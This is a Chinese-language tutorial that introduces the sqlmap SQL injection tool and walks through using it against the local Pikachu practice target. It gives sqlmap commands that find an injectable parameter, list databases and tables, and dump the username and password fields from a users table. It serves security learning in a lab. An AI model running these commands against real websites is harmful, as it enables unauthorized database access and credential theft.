目录:
一.sqlmap注入原理
二. Sqlmap功能
三.sqlmap语句
四. 前置条件
五.Sqlmap对pikachu的GET请求注入漏洞测试过程
sqmap注入原理:
SQLMap是一个开放源码的***测试工具,它可以自动探测和利用SQL注入漏洞来接管数据库服务器。
它配备了一个强大的探测引擎,为最终***测试人员提供很多猥琐的功能,可以***,可以访问底层的文件系统,还可以通过带外连接执行操作系统上的命令。
Sqlmap功能:sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞。sqlmap的功能强大到让你惊叹,常规注入工具不能绕过的话,终极使用sqlmap会有意想不到的效果。
1、判断可注入的参数
2、判断可以用那种SQL注入技术来注入
3、识别出哪种数据库
4、根据用户选择,读取哪些数据
5、可执行情况
6、当前数据库用户名称和拥有的权限
7、发现WEB虚拟目录
8、上传***getshell
9、绕过防火墙
Sqlmap常用语句:-
sqlmap -u "xxxxxx" //查询是否存在注入点 //xxxxxx为网址
-
--dbs //检测站点包含哪些数据库
-
--current-db //获取当前的数据库名
-
--tables -D "db_name" //获取指定数据库中的表名 -D后接指定的数据库名称
-
--columns -T "table_name" -D "db_name" //获取数据库表中的字段
-
--dump -C "columns_name" -T "table_name" -D "db_name" //获取字段的数据内容
环境准备:
java环境:jdk1.8
数据库: Mysql.5.6
小皮: phpstady
靶机:pikachu
五.Sqlmap对pikachu的GET请求注入漏洞测试过程1.打开phpstay,点击开启apache 和mysql。
2.再打开网站
3.打开成功后如下图,点击sql-inject字符型注入点击输入框带输入一行数字,点击查询复制网址。
4.打开python所在的文件夹输入:python sqlmap.py 启动sqlmap。
python 所在的文件夹路径:python sqlmap.py
查询是否为注入点:
格式:python sqlmap.py -u “####”
注释:####为url地址
样式:
python sqlmap.py -u "http://guiqi/vul/sqli/sqli_str.php?name=12x&submit=%E6%9F%A5%E8%AF%A2"
查询数据库名称:
格式:python sqlmap.py -u “####” --current-db
注释:####为url地址
样式:
python sqlmap.py -u "http://guiqi/vul/sqli/sqli_str.php?name=12x&submit=%E6%9F%A5%E8%AF%A2" --current-db
数据库名为pikchu
查看数据库中的表名:
格式:python sqlmap.py -u “####” --tables -D "pikachu"
注释:####为url地址
python sqlmap.py -u "http://guiqi/vul/sqli/sqli_str.php?name=12x&submit=%E6%9F%A5%E8%AF%A2" --tables -D "pikachu"
查看pakachu数据库下名为的表名
查看pikachu表的users表的结构
格式:python sqlmap.py -u “####” --columns -T "users" -D "pikachu"
注释:####为url地址
python sqlmap.py -u "http://guiqi/vul/sqli/sqli_str.php?name=12x&submit=%E6%9F%A5%E8%AF%A2" --columns -T "users" -D "pikachu"
如下:
查找users表字段username 与pasword的密码。
格式:
python sqlmap.py -u “url地址” --dump -C "字段,字段" -T "表名" -D "数据库名"
样式:
python sqlmap.py -u "http://guiqi/vul/sqli/sqli_str.php?name=12x&submit=%E6%9F%A5%E8%AF%A2" --dump -C "username,password" -T "users" -D "pikachu"
成功查询表中用户名用户密码;
注入查询成功。



